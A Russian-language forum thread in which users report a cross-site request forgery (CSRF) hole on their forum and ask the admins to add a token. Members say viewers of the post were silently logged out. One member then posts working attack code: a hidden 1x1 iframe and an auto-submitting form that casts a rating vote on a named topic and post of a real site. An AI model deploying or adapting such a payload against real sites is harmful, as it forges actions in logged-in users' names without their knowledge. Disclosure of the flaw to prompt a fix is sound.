CSRF

Уважаемые, надо бы простейшую защиту от этой фигни сделать. Токен какой-нибудь приделать.
Вот так элементарно можно разлогинить всех просмотревших этот пост

Нажмите F5.
Таким же образом можно удалять топики, банить юзеров и т.п.

сильно

печаль беда

Не говори

тоже продемонстрирую, как можно накрутить рейтинг через некоторые браузеры:

подсовываем залогиненному пользователю фрейм:

Код:

<iframe src="http://localhost/submitpost.php" width="1" height="1"> <p>Your browser does not support iframes.</p> </iframe>

submitpost.php:

Код:

<form id="subm" action="https://www.master-x.com/forum/topics/172237/" method="post" /> <input type="text" name="rate_value" value="1" /> <input type="text" name="rate_post" value="2511993" /> <input type="submit" /> </form> <script>frm = document.getElementById("subm");frm.submit();</script>